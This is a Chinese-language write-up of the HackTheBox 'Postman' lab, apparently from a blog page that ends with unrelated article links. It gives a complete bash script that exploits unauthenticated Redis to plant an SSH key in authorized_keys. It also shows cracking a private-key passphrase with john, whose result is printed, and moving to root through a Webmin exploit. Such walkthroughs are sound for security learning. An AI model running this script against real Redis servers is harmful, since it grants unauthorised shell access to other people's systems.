HTB::Postman
实验环境
渗透过程
0x01 信息搜集
masscan扫描
扫描结果目标服务开放了22(ssh),80(http),6379(redis),10000(webmin)端口
nmap扫描
nmap -sS -sV -T4 -v -p- 10.10.10.160
-sS: SYN扫描是目前默认的也是最受欢迎的扫描选项
-A: 同时打开操作系统探测和版本探测。
-T4: 指定扫描过程中使用的时序(Timing),共有6个级别(0-5),级别越高,扫描速度越快,但也越容易被防火墙屏蔽。在网络通信状态良好的情况下推荐使用 T4.
-v: 显示冗余信息,在扫描过程中显示扫描的细节
-p-: 表示从端口1扫描到65535
访问10000端口
尝试使用弱口令破解,发现提示尝试次数过多。
访问80端口,是一个常规web服务,扫描后没有发现敏感目录。
使用nmap进行redis版本扫描
百度后发现,redis有典型的未鉴权漏洞,描述如下:
Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。
0x02 Redis 未授权访问漏洞利用
发现 6379 端口运行着 Redis 服务,且版本较低,存在未授权访问漏洞,可以将本地 ssh 公钥写进远程靶机从而 getshell
exploit 如下:
#!/bin/bash
rm /root/.ssh/id*
ssh-keygen -t rsa
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > foo.txt
redis-cli -h 10.10.10.160 flushall
cat foo.txt | redis-cli -h 10.10.10.160 -x set crackit
redis-cli -h 10.10.10.160 config set dir /var/lib/redis/.ssh/
redis-cli -h 10.10.10.160 config set dbfilename "authorized_keys"
redis-cli -h 10.10.10.160 save
ssh -i /root/.ssh/id_rsa redis@10.10.10.160
具体说明:
将本地 kali 的 ssh 公钥写进文本 foo 中,在其前后添加换行符
\n
为了避免和Redis里其他缓存数据混合redis-cli
-x
参数:代表从标准输入读取数据作为该命令的最后一个参数。例:
$echo "world" |redis-cli -x set hello
等价于redis-cli set hello world
该版本的 Redis 允许任意用户未授权访问并写文件,同时 Redis 在其默认目录下拥有 ssh 密钥并对其有写权限。这导致攻击者可以用自己的公钥覆盖原文件,实现远程登录。
这里设定了 crackit 的键值为公钥,并通过 redis 命令变更 Redis DB 文件及存放地点为用户的
.ssh
文件夹,并将authorized_keys
覆盖这样就可以成功的将自己的公钥写入 /.ssh 文件夹的 authotrized_keys 文件里,然后攻击者就可以直接用 ssh 免密登录
因为靶机一直被所有人频繁修改和复写,一开始连接时需要使用
flushall
删除所有数据库中的所有key
0x03 user.txt/root.txt
拿到 redis 的低权限 shell 后,在 /home
目录下发现用户 Matt,su Mutt
尝试切换发现需要密码。在 .bash_history
文件中发现存在 id_rsa_bak
,因此遍历各个关键目录查找线索,在 /var/opt
下发现 ida_rsa.bak
文件,应该是 Matt 的 ssh 私钥。
下载私钥到本地,使用ssh2john
转换为John可识别的文件
kali@kali:~/Desktop$ /usr/share/john/ssh2john.py id_rsa > id_rsa.hash
使用john
破解
得到密码为computer2008
使用 密码切换到Matt用户,获取user.txt
使用 Matt 和 computer2008 尝试登录webmin,登录成功,网站本身没有什么东西,再次注意到 Webmin 的版本,搜索是否存在相关 exploit。
查找到相关exploit,直接利用:
获得shell
获取root.txt
HTB::Postman的更多相关文章
- Postman - 功能强大的 API 接口请求调试和管理工具
Postman 是一款功能强大的的 Chrome 应用,可以便捷的调试接口.前端开发人员在开发或者调试 Web 程序的时候是需要一些方法来跟踪网页请求的,用户可以使用一些网络的监视工具比如著名的 Fi ...
- postman使用
1.postman的下载:google首页左上角应用,点击后,如果没有下载postman,就在google商店搜索,点击右边按钮 2.下载后重新打开google首页,点击应用,可以看到已经下载过了,点 ...
- 复习(2)【postman,charles,filezilla server】
Postman是一款功能强大的网页调试与发送网页HTTP请求的Chrome插件.通常我们可以用它来测试接口. Charles是在Mac下常用的网络封包截取工具,在做移动开发时,我们为了调试与服务器端的 ...
- postman 断言解析
最近在学习postman官方文档, 顺势翻译出来,以供学习! postman断言是JavaScript语言编写的,在postman客户端指定区域编写即可. 断言会在请求返回之后,运行,并根据断言的pa ...
- postman发送带cookie的http请求
1:需求:测试接口的访问权限,对于某些接口A可以访问,B不能访问. 2:问题:对于get请求很简单,登录之后,直接使用浏览器访问就可以: 对于post请求的怎么测试呢?前提是需要登录态,才能访问接口. ...
- postman测试接口之POST提交本地文件数据
前言: 接口测试时,有时需要读取文件的数据:那么postman怎么添加一个文件作为参数呢? 实例: 接口地址: http://121.xxx.xxx.xxx:9003/marketAccount/ba ...
- Web接口测试工具---Poster与Postman
工作当中有不少时间在编写和维护接口自动化测试用例.打算先整理一些接口相关工具的使用. 简单对接Web口测试的相关工具/技术做个划分. HTTP/SOAP协议接口的功能测试: 1.浏览器URL(GET请 ...
- WebAPI生成可导入到PostMan的数据
一.前言 现在使用WebAPI来作为实现企业服务化的需求非常常见,不可否认它也是很便于使用的,基于注释可以生成对应的帮助文档(Microsoft.AspNet.WebApi.HelpPage),但是比 ...
- postman使用之五:Runner的使用
1.首先在postman新建要批量运行的接口文件夹,新建一个接口,并设置好全局变量. 2.然后在Test里面设置好要断言的方法 如: tests["Status code is 200&qu ...
随机推荐
- WDCP配置ThinkPHP5伪静态隐藏index.php,出现“”解决重定向次数过”问题
站点域名的配置:xxx.com.conf server { listen 80; root /www/web/xxx_com/public_html; server_name xxx.com; ind ...
- zabbix服务的部署
1.zabbix的介绍 zabbix是一个基于WEB界面分布式系统监视以及网络监视功能的企业的开源解决方案. zabbix能监视各种网络参数,保证服务器系统的安全运营:并且提供灵活的通知机制以让系统管 ...
- 2019-02-15 CSS样式学习——(内容来自mooc北京林业大学web前端开发授课ppt)
CSS样式的添加方法 行内样式 e.x. 内嵌样式 e.x. 注意内嵌样式写在head标签内: 单独文件(外部式样式表文件) 也是在head标签内插入超链接,sublime+emmet可以用link: ...
- 在android项目中使用FontAwesome字体
在android项目中使用FontAweSome图标集,可以方便的适配各种屏幕分辨率,不必在各种不同分辨率文件夹中新建资源文件.使用字体是一种很巧妙的方法,把图像以字体的方式呈现,这样以前设置为and ...
- rust 编码模式
➜ hello_cargo git:(master) ✗ rustc --print code-models Available code models: small kernel medium la ...
- #linux vscode 保存总提示“Retry as sudo”
linux中,对不同路径下的文件,系统默认指定了不同的操作权限(读/写/执行),出现这个问题是由于文件的权限不足造成的.(路径为/opt/lampp/htdocs/LearnPHP_jayce/hel ...
- 蒲公英 · JELLY技术周刊 Vol.12 尤雨溪新作 Vite, 你会支持么?
「蒲公英」期刊,每周更新,我们专注于挖掘「基础技术.工程化.跨端框架技术.图形编程.服务端开发.桌面开发.人工智能」等多个大方向的业界热点,并加以专业的解读:不仅如此,我们还精选凹凸技术文章,向大家呈 ...
- 上位机面试必备——TCP通信灵魂二十问【下】
上篇文章跟大家介绍了TCP通信常见的前10个面试题,没看过的小伙伴可以点击下方链接进行查看: 上位机面试必备——TCP通信灵魂二十问[上] 今天就后面的10个面试题接着做下说明:欢迎关注[dotNet ...
- python利用列表文件遍历
关键词:文件遍历/列表 思路:先制作目标文件列表(txt/csv...均可),再逐行读取列表文件 1. 制作列表 linux 终端输入:# find ./abc -type f > list.t ...
- POJ 3463 Sightseeing 【最短路与次短路】
题目 Tour operator Your Personal Holiday organises guided bus trips across the Benelux. Every day the ...